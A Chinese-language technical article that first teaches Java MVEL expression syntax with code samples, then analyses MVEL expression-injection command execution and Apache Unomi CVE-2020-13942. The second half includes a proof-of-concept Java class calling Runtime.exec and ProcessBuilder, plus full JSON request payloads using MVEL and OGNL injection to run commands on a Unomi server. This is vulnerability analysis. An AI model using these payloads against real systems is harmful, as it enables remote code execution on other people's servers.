一、Java MVEL表達式原理
MVEL全稱爲:MVFLEX Expression Language,是用來計算Java語法所編寫的表達式值的表達式語言。MVEL的語法很大程度上受到Java語法的啓發,但爲了使表達式語法更高效,還是有一些基本差異,例如可以像正則表達式一樣直接支持集合、數組和字符串匹配的運算。
MVEL最初是作爲一個應用程序框架實用程序的語言開始,該項目現已發展完全獨立。MVEL通常用於執行用戶(程序員)通過配置XML文件或註釋等定義的基本邏輯。它也可以用來解析簡單的JavaBean表達式。Runtime(運行時)允許MVEL表達式通過解釋執行或者預編譯生成字節碼後執行。
除了表達式語言以外,MVEL還提供了用來配置和構造字符串的模板語言。
MVEL 2.x表達式主要包括以下特性:
- 屬性表達式
- 布爾表達式
- 方法調用
- 變量賦值
- 函數定義
0x1:基本語法
MVEL是基於Java語法的表達式語言,但與Java不同,MVEL是動態類型化(可選類型化),意味着在源代碼中不需要類型限定。
MVEL可以方便的集成到產品中使用。Maven的集成方式如下:
<dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.2.8.Final</version> </dependency>
一個MVEL表達式,簡單的可以是單個標識符,複雜的則可能是一個充滿了方法調用和內部集合創建的龐大的布爾表達式。使用MVEL提供的API。可以動態得到表達式的執行結果。
1、示例一、比較相等、獲取值和計算
MVEL可以用==判斷相等,如foo.name == "Mr.Foo".其中foo可以爲上下文對象也可以是外部變量.具體示例代碼如下:
Person.java
package org.example; public class Person { private String name; public void setName(String name) { this.name = name; } public String getName() { return this.name; } }
SimpleTester.java
package org.example; import java.util.HashMap; import java.util.Map; import org.mvel2.MVEL; import org.mvel2.compiler.ExecutableAccessor; public class SimpleTester { public static void main(String[] args) { Person personInst = new Person(); personInst.setName("Mr.Foo"); // 判斷相等 Object objResult = MVEL.eval("name == 'Mr.Foo'", personInst); System.out.println("objResult=" + objResult); // 取值 String strResult = (String) MVEL.eval("name", personInst); System.out.println("strResult=" + strResult); // 計算 Map vars = new HashMap(); vars.put("x", new Integer(5)); vars.put("y", new Integer(10)); // 第一種方式 Integer intResult = (Integer) MVEL.eval("x * y", vars); System.out.println("intResult=" + intResult); // 第二種方式 ExecutableAccessor compiled = (ExecutableAccessor) MVEL.compileExpression("x * y"); intResult = (Integer) MVEL.executeExpression(compiled, vars); System.out.println("intResult=" + intResult); } }
2、示例二、MVEL.eval()
package org.example; import java.util.HashMap; import java.util.Map; import org.mvel2.MVEL; import org.mvel2.compiler.ExecutableAccessor; public class MVELTest { public static void main(String[] args) { String expression = "foobar > 99"; Map vars = new HashMap(); vars.put("foobar", new Integer(100)); // We know this expression should return a boolean. Boolean result = (Boolean) MVEL.eval(expression, vars); if (result.booleanValue()) { System.out.println("It works!"); } } }
3、示例三、區別比較:Java 中計算字符串表達式的值
在 Java 中計算字符串數值表達式可以用 javax.script.ScriptEngine#eval(java.lang.String)
,通過調用 JavaScript 來計算。
package org.example; import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; public class ExpressionCalculate { public static void main(String[] args) { ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn"); String expression = "10 * 2 + 6 / (3 - 1)"; try { String result = String.valueOf(scriptEngine.eval(expression)); System.out.println(result); } catch (ScriptException e) { e.printStackTrace(); } } }
4、示例四、方法定義
這裏定義了一個名爲“hello”的簡單函數,它不接受任何參數。調用該函數時打印Hello!到控制檯。 MVEL定義的函數像任何常規方法調用一樣工作。
package org.example; import java.util.HashMap; import java.util.Map; import org.mvel2.MVEL; public class methodDef { public static void main(String[] args) { String expression = "def hello() { return \"Hello!\"; } hello();"; Map<String, Object> paramMap = new HashMap(); Object object = MVEL.eval(expression, paramMap); System.out.println(object); // Hello! } }
5、示例五、接受參數並返回值
該函數將接受兩個參數(a和b),然後將兩個變量相加。 由於MVEL使用最終值退出原則,所以返回最終結果值。
package org.example; import java.util.HashMap; import java.util.Map; import org.mvel2.MVEL; public class recvParamAndRet { public static void main(String[] args) { String expression = "def addTwo(num1, num2) { num1 + num2; } val = addTwo(a, b);"; Map<String, Object> paramMap = new HashMap(); paramMap.put("a", 2); paramMap.put("b", 4); Object object = MVEL.eval(expression, paramMap); System.out.println(object); // 6 } }
參考鏈接:
https://blog.csdn.net/lixinkuan328/article/details/109655418 https://www.jianshu.com/p/27065532e84f https://bigjun2017.github.io/2018/09/18/hou-duan/java/mvel2.x-yu-fa-zhi-nan/ https://developer.aliyun.com/article/632151 https://blog.csdn.net/jian876601394/article/details/110410374
二、MVEL命令執行漏洞原理分析
exp.java
package org.example; import java.io.Serializable; import java.util.HashMap; import java.util.Map; import org.mvel2.MVEL; public class exp { public static void main(String[] args) { Map vars = new HashMap(); String expression1 = "Runtime.getRuntime().exec(\"open -a Calculator\")"; Serializable serializable = MVEL.compileExpression(expression1); vars.put("1",expression1); MVEL.executeExpression(serializable,vars); String expression2 = "new java.lang.ProcessBuilder(new java.lang.String[]{\"whoami\"}).start()"; vars.put("2",expression2); MVEL.eval(expression2,vars); } }
我們跟進MVEL源碼,
MVEL2執行表達式通過org.mvel2.ast.ASTNode.getReducedValueAccelerated()處理表達式結果。
通過optimize()最終會調用org.mvel2.optimizers.impl.refl.ReflectiveAccessorOptimizer().compileGetChain處理,
當chain是method時,調用getMethod(),
getMethod()最終會調用method.invoke()實現表達式中方法的調用,調用前,mevl沒有檢查類或方法的防護措施來防止危險方法的執行,因此可以完成命令執行。
參考鏈接:
https://r17a-17.github.io/2021/11/22/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
三、真實漏洞案例
Apache Unomi CVE-2020-13942
Apache Unomi 是一個基於標準的客戶數據平臺(CDP,Customer Data Platform),用於管理在線客戶和訪客等信息,以提供符合訪客隱私規則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初於 Jahia 開發,2015 年 10 月提交給了 Apache 孵化器。
Apache Unomi 具有隱私管理、用戶/事件/目標跟蹤、報告、訪客資料管理、細分、角色、A/B 測試等功能,它可以作爲:Web CMS 個性化服務、原生移動應用的分析服務、具有分段功能的集中配置文件管理系統、授權管理中心。
Apache Unomi允許遠程攻擊者使用可能包含任意類的MVEL和OGNL表達式發送惡意請求,從而產生具有Unomi應用程序特權的遠程代碼執行(RCE)。
通過MVEL表達式執行任意命令:
{ "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/max\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample" }
通過OGNL表達式執行任意命令:
{ "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/doublemax\"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample" }
通過 org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper.getContextualCondition()解析傳進來的參數。
當以script::開始時,獲取後面的內容作爲腳本執行。
處理腳本的執行,會被當作mvel腳本執行並調用MVEL.executeExpression()處理。
MVEL並沒有限制類或方法的執行因此可以導致RCE。
參考鏈接:
https://www.bilibili.com/read/cv12955505/